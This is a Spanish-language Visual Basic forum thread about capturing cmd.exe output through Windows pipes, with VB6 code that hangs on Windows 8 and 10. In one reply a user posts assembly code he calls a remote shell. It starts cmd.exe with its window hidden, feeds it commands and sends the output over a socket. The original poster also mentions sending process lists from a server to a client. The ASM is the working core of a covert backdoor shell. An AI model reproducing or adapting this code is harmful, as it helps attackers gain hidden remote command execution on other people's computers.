| 
	
		|  Autor | Tema: Consola por pipe crashea en windows 8 y versiones adelantadas  (Leído 4,700 veces) |  
	| 
			| 
					
						| illuminat3d | 
 
Hola a ver si alguien me hecha una mano tengo este codigo para ejecutar y leer la salida de los comandos en windows, se ejecutan y se ven perfectamente en versiones de XP hasta windows 7 he probado.. ahora en windows 8 y 10 crashea en un loop :    Do       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)       mOutputs = mOutputs & Left(strBuff, lngBytesRead)   Loop While ret <> 0 
  Public Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long Public Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long   Public Type PROCESS_INFORMATION  hProcess     As Long  hThread      As Long  dwProcessId  As Long  dwThreadId   As LongEnd Type Public Type STARTUPINFO  cb                As Long  lpReserved        As Long  lpDesktop         As Long  lpTitle           As Long  dwX               As Long  dwY               As Long  dwXSize           As Long  dwYSize           As Long  dwXCountChars     As Long  dwYCountChars     As Long  dwFillAttribute   As Long  dwFlags           As Long  wShowWindow       As Integer  cbReserved2       As Integer  lpReserved2       As Long  hStdInput         As Long  hStdOutput        As Long  hStdError         As LongEnd Type Public Type SECURITY_ATTRIBUTES  nLength                As Long  lpSecurityDescriptor   As Long  bInheritHandle         As LongEnd Type   Public Function CMD(ByVal Comando As String) As StringOn Error Resume Next   Dim proc           As PROCESS_INFORMATION   Dim ret            As Long   Dim start          As STARTUPINFO   Dim sa             As SECURITY_ATTRIBUTES   Dim hReadPipe      As Long   Dim hWritePipe     As Long   Dim lngBytesRead   As Long   Dim strBuff        As String * 256    sa.nLength = Len(sa)   sa.bInheritHandle = 1&   sa.lpSecurityDescriptor = 0&   ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)    If ret = 0 Then CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError: Exit Function    start.cb = Len(start)   start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW   start.hStdOutput = hWritePipe   start.hStdError = hWritePipe    mCommand = Environ("COMSPEC") + " /c " + Comando    ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)    If ret <> 1 Then CMD = "Archivo o comando no encontrado": Exit Function    ret = CloseHandle(hWritePipe)   mOutputs = ""    ' CRASHEA En versiones mayores a Windows 7   If InStr(1, SO, "Windows 8") Or InStr(1, SO, "Windows 10") Then Exit Function    Do       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)       mOutputs = mOutputs & Left(strBuff, lngBytesRead)   Loop While ret <> 0   ret = CloseHandle(proc.hProcess)   ret = CloseHandle(proc.hThread)   ret = CloseHandle(hReadPipe)    CMD = mOutputs    Exit FunctionEnd Function  
 A ver si alguien lo puede probar quizas puede ser por otra cosa! un saludo!  
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| fary | 
 
En realidad es una forma un poco chapucera de usar pipes    ¿Tu programa sería capaz de ejecutar la instrucción "CD.." y mantenerse en esa ruta en ejecutar la siguiente instrucción? Usa los pipes de manera eficiente amigo   un saludo.
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 Un byte a la izquierda. |  |  |  | 
			| 
					
						| Lekim 
								
								 Desconectado 
								Mensajes: 268
								
								   | 
 
En realidad es una forma un poco chapucera de usar pipes    ¿Tu programa sería capaz de ejecutar la instrucción "CD.." y mantenerse en esa ruta en ejecutar la siguiente instrucción? Usa los pipes de manera eficiente amigo   un saludo.¿Por qué no nos ilustras un poco con tu sabiduría? En lugar de criticar    |  
						| 
								|  |  
								| « Última modificación:  5 Abril 2016, 19:32 pm por Lekim » |  En línea | 
 
 |  |  |  | 
			| 
					
						| fary | 
 
¿Por qué no nos ilustras un poco con tu sabiduría? En lugar de criticar   Por supuesto que te ilustro    Aquí tienes mi código en ASM de una verdadera Shell Remota que usa pipes de manera eficiente. ;///////////////////////////////////////////////////////////////////////////////////////////////;//////                                         FUNCIONES SHELL REMOTA                /////////;//////////////////////////////////////////////////////////////////////////////////////////////	proc IniciarShell	     ; Funcion que inicializa la shell remota	     mov [saPipe.nLength], 12	     mov [saPipe.lpSecurityDescriptor], NULL	     mov [saPipe.bInheritHandle], TRUE 	     invoke CreatePipe, stdinRd,  stdinWr,  saPipe, 0	     invoke CreatePipe, stdoutRd, stdoutWr, saPipe, 0 	      invoke GetStartupInfoA, sInfo 	      mov eax, STARTF_USESTDHANDLES	      mov ebx, STARTF_USESHOWWINDOW	      or eax, ebx 	      mov [sInfo.dwFlags], eax	      mov [sInfo.wShowWindow], SW_HIDE	      mov eax, [stdoutWr]	      mov [sInfo.hStdOutput] , eax	      mov eax, [stdoutWr]	      mov [sInfo.hStdError]  , eax	      mov eax,	[stdinRd]	      mov [sInfo.hStdInput]  , eax 	      invoke GlobalAlloc, LPTR, 30	      mov [RutaCmd], eax 	      invoke GetSystemDirectoryA, [RutaCmd], 29 	      invoke lstrcat, [RutaCmd], '\cmd.exe' 	      invoke CreateProcessA, NULL, [RutaCmd], NULL, NULL, TRUE, 0, NULL, NULL, sInfo, pInfo 	      invoke GlobalFree, [RutaCmd] 	      invoke Sleep, 150 	      stdcall LeerShell ; Llamamos a LEER PIPE para enviar la primera lectura	      ret	endp 	proc EscShell,Comando,Longitud	     mov [bEscritos],NULL	     invoke WriteFile, [stdinWr],[Comando], [Longitud], bEscritos, NULL 	     mov [bEscritos],NULL	     invoke WriteFile, [stdinWr],varSaltoLinea, 2, bEscritos, NULL 	     invoke Sleep, 100 	     stdcall LeerShell 	     ret 	     varSaltoLinea	     db 13,10 ; salto de linea para el PIPE	endp 	proc TerminarShell	     ; Funcion que cierra la shell remota	     invoke TerminateProcess, [pInfo.hProcess], 0	     invoke CloseHandle, [stdinRd]	     invoke CloseHandle, [stdinWr]	     invoke CloseHandle, [stdoutRd]	     invoke CloseHandle, [stdoutWr]	     invoke Sleep, 100	     ret	endp 	proc LeerShell	     ; Funcion que lee la shell remota	     mov [totalLeido], 0	     mov [totalLeer], 0 	     invoke PeekNamedPipe, [stdoutRd], NULL, NULL, NULL, totalLeer, NULL 	     .if [totalLeer] = 0		 ; No hay que leer.		 ret	     .endif 	     LP_leer:		invoke GlobalAlloc, LPTR, 1050		mov [bufLeido], eax 		invoke GlobalAlloc, LPTR, 1050		mov [envLeido], eax 		invoke ReadFile, [stdoutRd], [bufLeido], 1024, bUsadosOK, NULL 		invoke lstrcat, [envLeido], 'SHEL%%%%'		invoke lstrcat, [envLeido], [bufLeido] 		invoke send, [hsock], [envLeido], 1024, 0 		mov edx, [bUsadosOK] 		add [totalLeido], edx 		invoke GlobalFree, [bufLeido]		invoke GlobalFree, [envLeido] 		invoke Sleep, 100 		cmp [bUsadosOK], 1024		je  LP_leer		mov edx, [totalLeer]		cmp [totalLeido], edx		jl  LP_leer 		ret	endp;//////////////////////////////////////////////////////////////////////////////////////////////;//////////////////////////////////////////////////////////////////////////////////////////////
 Además de que el código que el aporta, no es suyo... no sé en donde lo vi posteado. saludos. |  
						| 
								|  |  
								| « Última modificación:  6 Abril 2016, 09:48 am por fary » |  En línea | 
 
 Un byte a la izquierda. |  |  |  | 
			| 
					
						| Lekim 
								
								 Desconectado 
								Mensajes: 268
								
								   | 
 
Por supuesto que te ilustro    Aquí tienes mi código en ASM de una verdadera Shell Remota que usa pipes de manera eficiente. ...¿Y en VB?, porque te recuerdo que esto es el foro para Visual Basic y aquí el amigo programa en VB. XD |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| illuminat3d | 
 
Muchas gracias a los dos, mis conocimientos en VB no son tan avanzados Fary pero si me gustaria que publicaran algun arreglo en VB sobre el codigo, gracias Lekim por apoyarme jajaja!    PD : Tambien tengo un problema con el envio de datos por winsock y es que en local me llegan todos los datos correctamente a veces al segundo intento pero despues cuando intento de manera remota me faltan datos y no se todavia a que debe ser, ya depure el codigo y si por ejemplo hay 60 procesos, solo llegan 32 auqnue en el servidor liste los 60 pero el envio de datos pierde datos al enviarselos al cliente a que puede deberse? y eso que envio los datos partidos con un tamaño de 8192 a veces ni supera esa cantidad y es lo mismo pierde los datos. Saludos compañeros!    |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| fary | 
 
¿Y en VB?, porque te recuerdo que esto es el foro para Visual Basic y aquí el amigo programa en VB. XD
 Jajajaja, en VB6 o en cualquier otro lenguaje se usan las mismas funciones... Pero vamos que si insistes y tienes mucho interés lo programo. Saludos. |  
						| 
								|  |  
								|  |  En línea | 
 
 Un byte a la izquierda. |  |  |  | 
			| 
					
						| Lekim 
								
								 Desconectado 
								Mensajes: 268
								
								   | 
 
Jajajaja, en VB6 o en cualquier otro lenguaje se usan las mismas funciones... Pero vamos que si insistes y tienes mucho interés lo programo.
 Saludos.
 
 El problema no es que tenga las mismas funciones o no. El problema está en saber interpretar el código ASM y saber lo suficiente en VB para pasar de uno a otro. Y además  concretamente lo que pide illuminat3d . Pienso yo vamos XD. No es pos fastidiar. |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| fary | 
 
El problema no es que tenga las mismas funciones o no. El problema está en saber interpretar el código ASM y saber lo suficiente en VB para pasar de uno a otro. Y además  concretamente lo que pide illuminat3d. Pienso yo vamos XD. No es pos fastidiar.
 El código se puede pasar perfectamente a VB6 sin tener ni idea de ASM... son solo API de windows lo que se ve en el código, de ensamblador se podría decir que no hay casi nada de intrucciones. Parate a mirarlo 1 minuto y lo vas a comprobar por ti mismo. saludos. |  
						| 
								|  |  
								|  |  En línea | 
 
 Un byte a la izquierda. |  |  |  | 
			| 
					
						| Lekim 
								
								 Desconectado 
								Mensajes: 268
								
								   | 
 
Pues yo no entiendo no papa XD
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  |  |  
 
	
 
 
				
					
						| Mensajes similares |  
						|  | Asunto | Iniciado por | Respuestas | Vistas | Último mensaje |  
						|   |   | [SOLUCIONADO] CMD Pipe en Windows 7 Programación Visual Basic
 | aaronduran2 | 1 | 2,487 |  4 Octubre 2010, 16:26 pm por aaronduran2
 |  
						|   |   | Mi pc va muy lento, POR FAVOR AYUDA y gracias adelantadas Seguridad
 | lord-xavi | 7 | 6,252 |  10 Diciembre 2010, 22:44 pm por lord-xavi
 |  
						|   |   | Microsoft reduce a tres las versiones de Windows 8: Windows 8, Pro y RT Noticias
 | wolfbcn | 1 | 2,465 |  17 Abril 2012, 14:34 pm por WHK
 |  
						|   |   | Mini-lib para hacer graficos en consola (versiones en C y C++)
							« 1 2 » Programación C/C++
 | HardForo | 10 | 9,201 |  23 Abril 2016, 21:02 pm por HardForo
 |  
						|   |   | Windows 10 crashea o hace amagos Windows
 | AlbertoPerez | 7 | 5,499 |  28 Marzo 2017, 12:26 pm por Randomize
 |    |